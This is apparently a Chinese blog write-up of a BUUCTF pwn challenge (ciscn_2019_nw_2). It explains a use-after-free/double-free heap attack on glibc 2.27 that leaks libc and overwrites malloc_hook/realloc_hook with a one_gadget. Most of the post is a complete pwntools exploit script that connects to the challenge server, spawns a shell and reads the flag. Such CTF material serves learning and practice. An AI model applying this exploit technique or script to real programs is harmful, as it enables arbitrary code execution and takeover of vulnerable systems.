[BUUCTF-pwn]— ciscn_2019_nw_2
- 题目地址: https://buuoj.cn/challenges#ciscn_2019_nw_2
- checksec看保护-全开(堆题都一样可以不看)
- 菜单:只有add和free 且free未删指针有明显的UAF,而且是ubuntu18对应的libc-2.27版本可以直接free*2
- free限制了次数3
- add分两部分一个8字节一个68,这样可以独立修改fp的一部分
- 网上没搜到exp
#先获取libc
只能free 3次,且块大小固定为0x70所以需要解决两个问题,一是要生成个环(fastbin_attack),二是要一直保留
##先建11次块
将来让第0来修改1块size为0x481,加上防止与top chunk合并的块共11个
##fastbin attack
两次free0在chunk0成环,然后通过修改末位将fp指到chunk1-0x20处.(虽然块为80但只让写70,所在chunk1-0x10无法写入pre_size这个位置)
建两次将块建到chunk1-0x20处,覆盖chunk1.size为0x481,然后free得到libc
注意这里写入时带上chunk1-0x20处这个堆地址,让这里依然保留环,因为3次free已经用完了
##再次fastbin attack
上一步在chunk1-0x20保留了一个环,现在可以写入realloc_hook的地址(libc-2.27不检查头标记,不用错位,爽)
然后在realloc_hook写入one_gadget
在realloc_hook写是防止需要调栈的情况下在malloc_hook写realloc用,本题可以直接在malloc_hook写
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
else:
p = remote('node4.buuoj.cn', 26553)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5, 0x4f322, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398, 0x10a38c]
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
menu = b'>> '
def add(title, msg):
p.sendlineafter(menu, b'1')
p.sendafter(b"title:\n", title)
p.sendafter(b"content:\n", msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index:", str(idx).encode())
#正文
[add(b'a', b'b') for i in range(11)] #[0,10]
free(0)
free(0)
add(b'\xc0',b'AAAA') #11 260 n 260
heap_addr = u64(p.recvuntil(b' AAAA', drop=True).ljust(8, b'\x00'))
print('heap:', hex(heap_addr))
add(b'\x60',b'A'*0x50 + p64(0x81) + p64(heap_addr)) #12 260 n 2c0 在2c0预存指针
add(p64(heap_addr),b'\x00'*0x10 + p64(0x481)) #13 2c0 n 2c0 在2c0再建个环
free(1)
#建块,带出0x20处的main_arena+0x60
add(p64(heap_addr),b'A'*0x18) #11 2c0 n 2c0
malloc_hook = u64(p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\x00'))- 0x60 -0x10
libc_base = malloc_hook - libc_elf.sym['__malloc_hook']
free_hook = libc_base + libc_elf.sym['__free_hook']
system = libc_base + libc_elf.sym['system']
one_gadget = libc_base + one[7]
realloc = libc_base + libc_elf.sym['realloc']
print('libc:', hex(libc_base))
add(p64(malloc_hook - 8),b'A') #2c0 n 2c0
add(p64(malloc_hook - 8),b'A') #2c0 n malloc_hook-8
add(p64(one_gadget),p64(realloc)) #realloc_hook:one[7], malloc_hook:realloc
#建块,得到shell
p.sendlineafter(menu, b'1')
p.sendline(b'cat /flag')
p.interactive()
新开的博客记录一下
处写,别嫌